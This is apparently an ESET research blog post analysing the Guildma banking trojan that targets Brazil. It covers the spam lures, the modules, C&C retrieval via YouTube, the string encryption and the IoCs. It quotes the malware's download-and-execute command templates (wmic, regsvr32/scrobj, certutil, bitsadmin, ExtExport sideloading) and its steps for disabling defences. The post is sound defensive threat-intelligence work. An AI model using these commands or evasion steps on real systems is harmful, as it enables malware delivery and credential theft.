# Guildma: The Devil drives electric **[welivesecurity.com/2020/03/05/guildma-devil-drives-electric](https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/)** March 5, 2020 In this blogpost, we will examine Guildma (also known as Astaroth, a powerful demon), a highly prevalent Latin American banking trojan. This Brazil-targeting trojan, written in Delphi, boasts some innovative execution and attack techniques. We will describe the most recent version, highlighting the most notable changes made since the middle of 2019 when an avalanche of articles about Guildma was published in response to its largest campaign to date. ## Characteristics Guildma is a Latin American banking trojan that targets Brazil exclusively. Based on our telemetry — as well as the public attention it has received — we believe it to be the most impactful and advanced banking trojan in the region. Besides targeting financial institutions, Guildma also attempts to steal credentials for email accounts, e‑shops and streaming services, and affects at least ten times as many victims as other Latin American banking trojans already described in this series. It uses innovative methods of execution and sophisticated attack techniques. Unlike the Latin American banking trojans we have described previously, Guildma does not store the fake pop-up windows it uses within the binary. Instead, the attack is orchestrated by its C&C server. This gives the authors greater flexibility to react to countermeasures implemented by the targeted banks. Guildma implements the following backdoor functionalities: Taking screenshots Capturing keystrokes Emulating keyboard and mouse Blocking shortcuts (such as disabling Alt + F4 to make it harder to get rid of fake windows it may display) Downloading and executing files Restarting the machine Guildma is very modular. At the time of writing, it consists of 10 modules, not including distribution chain stages. The functionality of individual modules will be discussed later. ## Evolution of distribution chains Our telemetry indicates Guildma spreads exclusively through spam emails with malicious attachments. Here are a few examples from a campaign from the middle of November 2019. ----- _Figure 1. Spam email example (translation: “Hello, please explain these photos to me. I’m waiting for your_ _explanation!”)_ _[Figure 2. Spam email example (translation: “Dear member of consórcio, attached is the proof of bid no.](https://thebrazilbusiness.com/article/consorcio-in-brazil)_ _75432.”)_ ----- _Figure 3. Spam email example (translation: “Good morning, I am sending the proof of transfer – DOC._ _Citibank”)_ _Figure 4. Spam email example. Fake invoice reminder stating that a payment is due the day after tomorrow and_ _that the payment may take up to 72 hours to be processed._ One of the defining characteristics of Guildma’s distribution chains is using tools already present on the system, often in new and unusual ways. ----- Another characteristic is reusing techniques. New techniques are added every once in a while, but for the most part, the developers seem to simply reuse techniques from older versions. _Figure 5. Distribution chain of Guildma in version 150_ Figure 5 shows the distribution chain for version 150, but the structure of Guildma’s distribution chains is very dynamic. For instance, in previous versions, the malicious LNK file shown in Figure 5 was not embedded in a ZIP archive, or an SFX RAR archive containing an MSI installer was used instead. Also, there used to be another JScript stage whose sole purpose was downloading and executing the final JScript stage; there have been too many changes overall to fit into this article. In fact, the only part that has mostly stayed the same is the final JScript stage. Using data from our long-term, in-depth tracking of this family, we have compiled a very good picture of Guildma’s activity. Figure 6 shows all ESET detections of Guildma’s first-stage component. As you can see, the campaigns were ramping up slowly until a massive campaign in August 2019, when we were seeing up to 50,000 samples per day. This campaign went on for almost two months and accounted for more than double the amount of detections we had seen in the 10 months prior. _Figure 6. First stage Guildma detections since October 2018_ Following is a summary of some of the more interesting techniques used in the last 14 months. ### Execution of the JScript stage ----- Over the last year, Guildma has used several methods of executing the JScript stages of its distribution chain. At the end of 2018, Guildma was hiding its code in eXtensible Stylesheet Language (.xsl) files and using wmic.exe to download and execute them: wmic.exe /format:”” It then briefly moved on to using regsvr32.exe and scrobj.dll to download a JScript-implemented COM object and execute its registration routine (which contained the malicious code): regsvr32.exe /s /n /u /i: scrobj.dll Most recently, the authors started abusing Windows Explorer to execute the JScript stage. This attack relies on the fact that Windows Explorer will try to open any file passed to it on the command line with its associated program and the fact that the default association for .js files is the Microsoft Windows Script Host. The “script” passed to Windows Explorer is a single command whose purpose is to download and execute the actual JScript stage: echo GetObject(‘script:’) > .js | explorer.exe .js ### Execution of the binary modules Methods of running the PE modules are no less diverse. When we started tracking Guildma, it was abusing Avast’s aswRunDll.exe to launch the first binary stage, with regsvr32.exe as a failover for computers where Avast’s products weren’t installed. The use of aswRunDll.exe was then dropped, leaving regsvr32.exe as the sole method of execution. After a brief period of using rundll32.exe, Guildma switched to its current execution method — ExtExport.exe. ExtExport.exe is an undocumented component of Microsoft Internet Explorer used for exporting bookmarks from Mozilla Firefox and 360 Secure Browser, and can be abused for DLL SideLoading. When the following command is executed, mozcrt19.dll, mozsqlite3.dll, and sqlite3.dll are loaded from the folder specified on the command line: C:\Program Files\Internet Explorer\ExtExport.exe To abuse this, you would normally drop the DLL to be loaded as one of the above-mentioned files; Guildma uses all three. ### Downloading the binary modules Guildma has also utilized a couple of different ways to download the binary modules. The first version was using certutil.exe copied to certis.exe (presumably to evade detection): certis.exe -urlcache -split -f “” “” The authors then switched to BITSAdmin — the Microsoft Background Intelligent Transfer Service management tool — and are still using it at the time of writing: bitsadmin.exe /transfer /priority foreground ----- For a couple months, the binary modules were base64-encoded and hosted on Google Cloud. In that time, Guildma was using both BITSAdmin and certutil — BITSAdmin to download the modules and certutil to decode them. ### Other changes Guildma uses strange, non-descriptive variable and function names. When we started tracking Guildma, the names, while nonsensical, were clearly man-made (e.g. “radador” for the random number function or “Bxaki” for the download function). In June 2019 they were all changed to random-looking names (e.g. “bx021” and “mrc430”). At first, we thought the authors implemented some kind of an automated script obfuscator, but it turned out to be a onetime change and the names have remained the same since. [A relatively new addition is the age-old technique of using ADS (Alternate Data Streams) to store](https://attack.mitre.org/techniques/T1096/) the binary modules. All the modules are now stored as ADS of a single file (e.g. _“desktop.ini:nauwuygiaa.jpg”, “desktop.ini:nauwuygiab.jpg”, etc.)._ ## Version history Guildma has seemingly gone through many versions during its development, but there was usually very little development between versions — due to its clunky architecture utilizing hardcoded configuration values, for the most part the authors have to recompile all the binaries for every new campaign. A job that is clearly not completely automated, since there has often been a significant delay between updating the version number in the scripts and in the binaries. In this article, we cover version 150, but since we started writing, two more versions have been released. They contain no substantial change in functionality or distribution, supporting our claims about Guildma’s development cycle. The final stage of the distribution chain used to contain a version name (and even before that, it used to download said name along with the binary modules), but it has been (presumably) permanently replaced with a simple “xXx” since version 148. Table 1 summarizes all the versions released since we started tracking Guildma actively in October 2018. Looking at the version strings, we get the feeling the author is passionate about ecology and fast cars. _Table 1. Guildma version history_ #### First seen Version number Version name Version prefix 2018-09-18 131 131_SUPER_Tesla marxvxinhhm 2018-10-31 132 132_ULTRA_Tesla srsysddirrx 2018-11-28 133 133_TORRE_DE_Tesla mxgetronicosxy 2018-11-29 134 134_MAXX_TESLAs dwqiopawsamazon ----- #### First seen Version number Version name Version prefix 2018-12-03 135 135_MOAB_TESLAs lu769tsla 2018-12-13 136 136_KRAKEN_TESLAs lrdsnhrxxfery 2019-02-06 137 137_RAPTOR_TESLAs rakpat0rpcack 2019-03-21 138 138_RAPTOR_TESLAs_ hillwd763free 2019-05-20 139 139_TESLA_ falxconxrenw 2019-06-03 140 140_ASTH_ valehraysystqx 2019-06-24 141 141_T3SL4S_ ayt3ese4xw 2019-07-17 142 142_T3SL4S_ halawxtz 2019-08-09 143 143_T3SL4S_ asmonnwqk 2019-08-26 144 144_MULT1T3SL4S_ daffsyshqy 2019-09-26 145 145_MULT1T3SL4S_ landoqeahjky 2019-10-16 146 146_MULT1T3SL4S_ valkanxpca 2019-11-04 147 147_MULT1T3SL4S_ koddsuffy 2019-11-19 148 xXx lpquayevvt 2019-11-22 149 nauwuygia 2019-12-13 150 andrealfo 2020-01-14 151 balberith 2020-02-05 152 masihaddajjal ## Module overview As mentioned earlier, Guildma is very modular; the structure of its modules seems to be mostly constant. In this section, we will briefly describe the functionality of each module. All module names are composed of a shared, version-dependent prefix and a module-specific suffix. In Table 2, the version-dependent prefix is andrealfo. _Table 2. Guildma module overview_ #### URL filename #### Filesystem filename Module #### andrealfohh1a.dll.zip andrealfo64.~ Main module loader 1 (part 1) ----- #### URL filename #### Filesystem filename Module #### andrealfohh1b.dll.zip Main module loader 1 (part 2) andrealfoxa.gif.zip andrealfoxa.gif Main module injector (part 1) andrealfoxb.gif.zip andrealfoxb.gif Main module injector (part 2) andrealfoxc.gif.zip andrealfoxc.gif Main module injector (part 3) andrealfogx.gif.zip andrealfogx.gif Main module loader 2 andrealfog.gif.zip andrealfog.gif Main module andrealfoc.jpg.zip andrealfoc.jpg Contacts stealer and form grabber module #### andrealfod‐ wwn.gif.zip #### andrealfodwwn.gif RAT module (DLL) #### andrealfodx.gif.zip andrealfodx.gif RAT module (EXE) andrealfoa.jpg.zip andrealfoa.jpg MailPassView andrealfob.jpg.zip andrealfob.jpg WebBrowserPassView andrealfoi.gif.zip andrealfoi.gif JScript dropper module With the exception of the main module loader 1 (*64.~) and the main module injector (*xa.gif, *xb.gif and *xc.gif), all the modules are encrypted with a simple XOR cipher using a repeating 32byte key. The key is generated from a 32-bit seed using the algorithm shown in Figure 7. The seed value is obfuscated in the binaries to prevent simple extraction (see Figure 8). #### 1 2 3 4 #### key = bytearray (); for i in range ( 32 ): key . append ( seed & 0xff ); seed >>= 1; _Figure 7. Key generation algorithm_ ----- _Figure 8. Seed obfuscation in the binary_ Three modules communicate with a C&C server: Main module, RAT module, and Contacts stealer and form grabber. The communication is done over HTTP(S) using a combination of base64 and various simple custom encryption algorithms to protect the data being transferred. In the next section, we describe how the C&C server address is obtained. ### Main module loader 1 (*64.~) This is the first binary stage of the chain. The file is a DLL downloaded in two parts, which are concatenated by the previous JScript stage. It loads the three files comprising the next stage loader (*xa.gif, *xb.gif and *xc.gif), concatenates them, maps the resulting PE file into its own address space and executes it. [Loading a PE file is a relatively complex process, so the authors used the BTMemoryModule](https://github.com/DSPlayer/memorymodule/blob/master/BTMemoryModule/BTMemoryModule.pas) open-source library for this purpose. ### Main module injector (*xa.gif + *xb.gif + *xc.gif) This module loads the next stage (*gx.gif) from disk and decrypts it. It then runs the first existing executable from the following list and injects the decrypted payload into it. C:\Program Files\AVAST Software\Avast\aswRunDll.exe C:\Program Files\Diebold\Warsaw\unins000.exe * C:\Windows\SysWOW64\userinit.exe C:\Windows\System32\userinit.exe - An application, popular in Brazil, to protect access to online banking. ### Main module loader 2 (*gx.gif) The last loader stage is very simple and seems to needlessly duplicate the functionality of main module loader 1. It loads and decrypts the main module (*g.gif), maps it into its own memory space and executes it. ### Main module (*g.gif) ----- Guildma’s main module orchestrates all the remaining modules. Its implementation is deceptively complex, using countless timers and events, but its functionality is actually relatively simple. It contains legacy code that is not being used anymore as well as pre-production code that is not being used yet. On loading, this module checks if it is running in a sandboxed environment (for example, by examining the computer name and system disk volume ID), if there are other running instances of itself (based on window names) and if the system locale is different from Portuguese. If any check reveals the system is uninteresting or already compromised by Guildma, the malware terminates. Otherwise, the module then collects information from the system (computer name, which security software is being used, installed programs…) and establishes contact with the C&C server. It then starts monitoring interesting events, mainly when certain applications are launched or online banking sites opened, and executing appropriate actions (e.g. taking screenshots, preventing the user from closing the window by intercepting keyboard shortcuts, launching the RAT module, and so on). The module also implements backdoor commands whose functionality largely overlaps with the RAT module. ### Contact stealer and form grabber (*c.jpg) This module has two functions — gathering email addresses and form data from webpages. Email addresses are obtained from desktop email clients (such as Microsoft Outlook, Thunderbird and The Bat!) by parsing their address books as well as the emails themselves. The form grabber uses Windows COM technology to interact with Internet Explorer. It waits until a targeted site is opened (mostly Brazilian webmails, e-shops and payment gateways) and then logs the user out, forcing the victim to input credentials. It then retrieves the DOM and looks for important input field values (such as usernames, passwords and credit card numbers). ### RAT module (*dwwn.gif, *dx.gif) The RAT module comes in two functionally identical compilations — DLL (*dwwn.gif) and EXE (*.dx.gif). It implements download and execute functionality, can take screenshots, emulate keyboard and mouse input, and restart the computer. Most Latin American banking trojans display fake pop-up windows based on monitoring the active window’s name. These windows are usually stored in the binary. We have not found such code in Guildma, but the RAT module contains a Delphi form implementing a simple web browser. Since it is also executed based on the active window’s name, we believe this form is used for displaying fake dialogs to the user. ### MailPassView (*a.jpg) and BrowserPassView (*b.jpg) ----- These are freeware tools from Nirsoft for extracting saved credentials from popular email clients and web browsers respectively. Since Nirsoft has removed support for quiet operation (output to file, with no GUI) from newer versions to curb the abuse of these tools by malware, Guildma’s authors are using older versions that had those features. The same tools are also leveraged by [Mispadu, except Mispadu is using newer versions with quiet operation support patched back in.](https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/) ### JScript dropper module (*i.gif) This module drops and executes (using cscript.exe) a JScript file. The script consists of two parts — the first part is stored as one long encrypted string, while the second part is assembled from many short strings (some encrypted and some in plaintext). Worthy of note is the fact that strings in the dropped JScript file are encrypted by this dropper module with a randomly generated key, so they are present in the clear in the dropper. The script executes the following actions: Disables UAC Disables EXE signature checking Disables Windows Defender Creates a firewall rule disabling network access for C:\Program Files\AVAST Software\Avast\Setup\avast.setup Disables wsddntf driver (Diebold Warsaw GAS Tecnologia — the banking access protection software introduced earlier) Adds a firewall exception for files used as injection targets C:\Program Files\Diebold\Warsaw\unins000.exe C:\Program Files\AVAST Software\Avast\aswRunDll.exe We believe this module may still be in development as we have never observed it on our test machines dropping the script. ## New developments (since mid-2019) ### New C&C retrieval In version 142, a new way of distributing C&C servers, abusing YouTube and Facebook profiles, was implemented. However, the authors stopped using Facebook almost immediately and, at the [time of writing, are fully relying on YouTube. This is similar to Casbaneiro, but a bit cruder. While](https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/) Casbaneiro was hiding the data in video descriptions and obfuscating it as a part of a URL, Guildma simply places the data in the channel description. The start and end of the encrypted C&C addresses is delimited by “|||”. The data in between is base64 encoded and encrypted using [Mispadu’s string encryption algorithm. This is now the primary method of retrieving C&C servers;](https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/) [the old method (described by Avast) is still present as a backup.](https://decoded.avast.io/threatintel/deep-dive-into-guildma-malware/) ----- _Figure 9. Encrypted Guildma C&C server domains stored on YouTube_ ### Modules added and removed The previously described JScript dropper module was added in version 145. Conversely, in version 139, Guildma dropped two other modules present in older versions — mass mailer (*f.jpg) and its loader (*e.jpg). In the next few versions, these modules were still accessible under the expected names (e.jpg and f.jpg) from the same server as the other modules. This leads us to believe these modules are still being developed, but are now only distributed as needed, presumably using the download and execute backdoor command. ### New string encryption The JScript dropper module brought with it a new string encryption algorithm. A variant of this algorithm (shown in Figure 10) was propagated into other modules in version 147. ----- #### 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #### def decrypt ( ct, key ): # stage 1 ct = unhexlify ( ct ); last = ct [ 0 ]; s = bytearray ( ct [ 1 : ] ); for i in range ( len ( s ) ): x = s [ i ] ^ key [ i % len ( key ) ]; if last > x: x += 0xff; x -= last; last = s [ i ]; s [ i ] = x; # stage 2 - reverse string s = s [::-1]; # stage 3 - c = not ( c - 10 ) s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] ); # stage 4 - Base25 decode and key subtraction k = ord ( s [ 0 ] ) - 65; ot = ""; for i in range ( 1, len ( s ), 2 ): ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 ); return ot; _Figure 10. New string encryption algorithm_ ----- [Originally, Guildma was using the same string encryption as Casbaneiro. The new algorithm has](https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/) four stages and as you can see, the original string encryption algorithm is still used as the first [stage. Also of note is the fact that the fourth stage is once again using Mispadu’s encryption](https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/) algorithm. In version 148 Guildma implemented a string table; all strings are decrypted at the beginning of execution and accessed from the table when needed. ### Removal of international targets In version 138, Guildma added capability to target institutions (mainly banks) outside of Brazil. Despite that, we have observed no international campaigns; the campaigns hosting files on Cloudflare Workers’ infrastructure even went as far as to block any downloads from non-Brazilian IPs. In fact, in the last 14 months we haven’t seen any campaign targeting users outside of Brazil. Finally, in version 145, the capability to target institutions outside of Brazil was removed. Based on these facts, we believe it was merely an in-development feature which ended up being scrapped. ## Conclusion In this part of the series, we have talked about Guildma, the most prevalent Latin American banking trojan we have seen. We have shown its rich historical developments while focusing on the most recent variant. Guildma once again shares the prevailing characteristics of a Latin American banking trojan. It is written in Delphi, targets the region, implements backdoor functionality, splits its functionality into many modules and abuses legitimate tools. Guildma also shares interesting common features with families described earlier in this series. Namely, its current encryption algorithm combines the ones used by Casbaneiro and Mispadu. _For any inquiries, contact us at threatintel@eset.com. Indicators of Compromise can also be_ _[found in our GitHub repository.](https://github.com/eset/malware-ioc/tree/master/guildma)_ ## Indicators of Compromise (IoCs) ### Hashes #### SHA-1 Description #### 45c58bc40768d‐ ce6a6c611e08fd34c62441aa776 #### Main module loader 1 #### ESET Detection name Win32/Spy.Guild‐ ma.BM Win32/Spy.Guild‐ ma.BJ #### 861f20b0dcc55f94b4c43e4a7e77f042c21506cf Main module injector ----- #### SHA-1 Description #### 37fd19b1ab1dcc25e07bc96d4c02d81cf4ed‐ b8a1 #### Main module loader 2 #### ESET Detection name Win32/Spy.Guild‐ ma.Q #### a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d Main module Win32/Spy.Guild‐ ma.BS #### 4f65736a9d6b94b376c58b3cdcb49bb‐ d295cd8cc #### Contacts steal‐ er and form grabber #### Win32/Spy.Guild‐ ma.D Win32/Spy.Guild‐ ma.BR Win32/Spy.Guild‐ ma.BR #### 6c9304c5862d4e0de1c86d7ae3764f5e8358daff RAT module (DLL) 89fbffe456de850f7abf4f97d3b9da4bad6afb57 RAT module (EXE) #### af0d495ecc3622b14a40ddcd8005873c5dd‐ c3a2d 92bcf54079cbba04f584eac4486473c3abd‐ d88cd #### MailPassView Win32/PSWTool.‐ MailPassView.E #### WebBrowser‐ PassView #### a2048f435f076988bf094274192a196216d75a5f JScript dropper module ### Filenames C:\Users\Public\Libraries\qlanl\* ### Startup link Location #### Win32/PSWTool.W ebBrowserPass‐ View.E Win32/Spy.Guild‐ ma.BP %APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk Targets C:\Program Files (x86)\Internet Explorer\ExtExport.exe C:\Program Files\Internet Explorer\ExtExport.exe Args (where is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm) ### C&C servers ----- https://www.zvatrswtsrw[.]ml https://xskcjzamlkxwo[.]gq https://www.vhguyeu[.]ml https://www.carnataldez[.]ml https://www.movbmog[.]ga https://iuiuytrytrewrqw[.]gq https://www.gucinowertr[.]tk https://equilibrios[.]ga https://www.clooinfor[.]cf https://ambirsr[.]tk https://dbuhcbudyu[.]tk https://nvfjvtntt[.]cf http://whia7g.acquafufheirybveru[.]online ## MITRE ATT&CK techniques #### Tactic ID Name Description #### Initial Ac‐ cess Exe‐ cution Per‐ sis‐ tence De‐ fense Eva‐ sion #### T1193 Spearphish‐ ing Attachment #### T1089 Disabling Se‐ curity Tools T1140 Deobfuscate/ Decode Files or Information T1073 DLL Side- Loading T1096 NTFS File Attributes #### Guildma distribution chains start with a malicious email attachment. #### T1073 Rundll32 Guildma utilizes rundll32.exe to execute its binary modules. #### T1047 Windows Management Instrumenta‐ tion T1060 Registry Run Keys / Start‐ up Folder #### Guildma abuses WMIC.exe to execute some of its distribution chain stages. Guildma ensures persistence by creating a LNK file in the %STARTUP% folder. #### T1197 BITS Jobs BITSAdmin.exe is used to download binary modules. #### Guildma disables Windows Defender. The majority of Guildma modules need to be decrypt‐ ed after downloading. Guildma abuses ExtExport.exe for DLL Side-Loading. Guildma utilizes ADS to hide its modules on disk. ----- #### Tactic ID Name Description #### T1055 Process Injection #### Guildma utilizes process injection when executing its modules. #### T1064 Scripting Guildma implements its distribution chain stages in various scripting languages (mainly JScript). #### Guildma utilizes XSL script(s) in its distribution chains. Guildma extracts credentials stored by web browsers and email clients in files. Guildma extracts credentials stored by web browsers and email clients in Windows Registry. Guildma uses presence of certain files to determine whether banking and security tools are installed. Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running. Guildma detects the presence of several security products. Guildma collects OS version and bitness, computer name and system locale. Guildma uses directory names, computer names, vol‐ ume IDs, and existence of named objects to detect sandboxes and virtualized environments. Guildma is capable of taking screenshots. New C&C addresses are encrypted using custom en‐ cryption algorithms. Guildma uploads screenshots and log files to the C&C server. #### Cre‐ den‐ tial Ac‐ cess Dis‐ cov‐ ery Col‐ lec‐ tion Com‐ mand and Con‐ trol Exfil‐ tration #### T1220 XSL Script Processing T1081 Credentials in Files T1214 Credentials in Registry T1083 File and Di‐ rectory Discovery T1010 Application Window Discovery T1063 Security Soft‐ ware Discovery T1082 System Infor‐ mation Discovery T1497 Virtualization/ Sandbox Evasion T1113 Screen Capture T1024 Custom Cryptograph‐ ic Protocol T1041 Exfiltration Over Com‐ mand and Control Channel ----- [ESET Research 5 Mar 2020 - 11:30AM](https://www.welivesecurity.com/author/esetresearch/) -----